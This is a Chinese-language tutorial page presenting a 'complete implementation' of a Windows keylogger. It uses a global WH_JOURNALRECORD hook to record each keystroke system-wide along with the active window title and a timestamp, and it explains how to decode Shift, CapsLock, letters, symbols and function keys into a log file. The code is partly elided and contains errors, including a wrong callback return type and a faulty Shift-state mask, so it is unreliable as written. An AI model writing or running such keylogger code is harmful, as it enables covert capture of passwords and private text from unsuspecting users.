您现在的位置：程式碼之家 >> 編程語言 > >> C語言 >> VC >> VC 教學

鍵盤鉤子實戰：記錄按鍵動作與時間戳記的完整實作

編輯：VC 教學

鍵盤日誌鉤子核心原理

Windows 提供 WH_JOURNALRECORD 全域鉤子類型，可攔截系統層級的鍵盤與滑鼠事件。不同於 WH_KEYBOARD 僅接收虛擬鍵碼，Journal Record 鉤子接收 EVENTMSG 結構，包含訊息類型、參數、時間戳、硬體座標，適合實作完整的輸入記錄器。

核心程式碼架構解析

1. 全域變數與常數定義

HHOOK g_hLogHook = NULL;           // 鉤子控制代碼
HWND g_hLastFocus = NULL;          // 上一次擁有焦點的視窗
const int KeyPressMask = 0x80000000; // 按鍵狀態掩碼 (高位元為 1 表示按下)

2. 鉤子安裝與移除

// 安裝鉤子
g_hLogHook = SetWindowsHookEx(WH_JOURNALRECORD, (HOOKPROC)JournalLogProc, HInstance, 0);

// 移除鉤子
if (g_hLogHook) {
    UnhookWindowsHookEx(g_hLogHook);
    g_hLogHook = NULL;
}

關鍵點：`SetWindowsHookEx` 最後一個參數傳 `0` 表示全域鉤子，需置於 DLL 中；`HInstance` 必須是包含回呼函數的模組實例控制代碼。

3. 回呼函數 `JournalLogProc` 完整邏輯

HOOKPROC JournalLogProc(int iCode, WPARAM wParam, LPARAM lParam) {
    if (iCode < 0) return CallNextHookEx(g_hLogHook, iCode, wParam, lParam);
    if (iCode == HC_ACTION) {
        EVENTMSG* pEvt = (EVENTMSG*)lParam;
        // 僅處理鍵盤按下訊息
        if (pEvt->message == WM_KEYDOWN) {
            // 取得虛擬鍵碼
            int vKey = LOBYTE(pEvt->paramL);
            
            // 偵測視窗焦點切換，記錄時間與視窗標題
            HWND hFocus = GetActiveWindow();
            if (g_hLastFocus != hFocus) {
                GetWindowText(hFocus, szTitle, 256);
                g_hLastFocus = hFocus;
                strcpy(szTime, DateTimeToStr(Now()).c_str());
                fprintf(stream, "\n%s  %s  ", szTime, szTitle);
            }
            
            // 判斷 Shift、CapsLock、NumLock 狀態
            bool bShift = (GetKeyState(VK_SHIFT) & KeyPressMask) == KeyPressMask;
            bool bCapital = (GetKeyState(VK_CAPITAL) & 1) == 1;
            bool bNumLock = (GetKeyState(VK_NUMLOCK) & 1) == 1;
            
            // 依虛擬鍵碼區間轉換為字元並寫入日誌
            // ... (數字鍵、字母鍵、小鍵盤、符號鍵、功能鍵、控制鍵的完整 switch-case 處理)
        }
    }
    return CallNextHookEx(g_hLogHook, iCode, wParam, lParam);
}

關鍵技術細節

虛擬鍵碼到字元的精確轉換

程式碼展示了完整的鍵盤佈局邏輯：

數字鍵 0-9 (48-57)：依 Shift 狀態輸出數字或符號 (!@#$%^&*)
字母鍵 A-Z (65-90)：結合 CapsLock 與 Shift 判斷大小寫
小鍵盤 0-9 (96-105)：僅在 NumLock 開啟時輸出數字
符號鍵 (186-222)：涵蓋 `;=`, `,-`, `.>`, `/?`, `` `~ ``, `[]{`, `\|`, `'"` 等組合
功能鍵 F1-F12 (112-123)：直接記錄 `[F1]` 等標籤
控制鍵 (8-46)：Backspace、Tab、Enter、Esc、Space、方向鍵、Home/End、PgUp/PgDn、Ins/Del 等記錄簡碼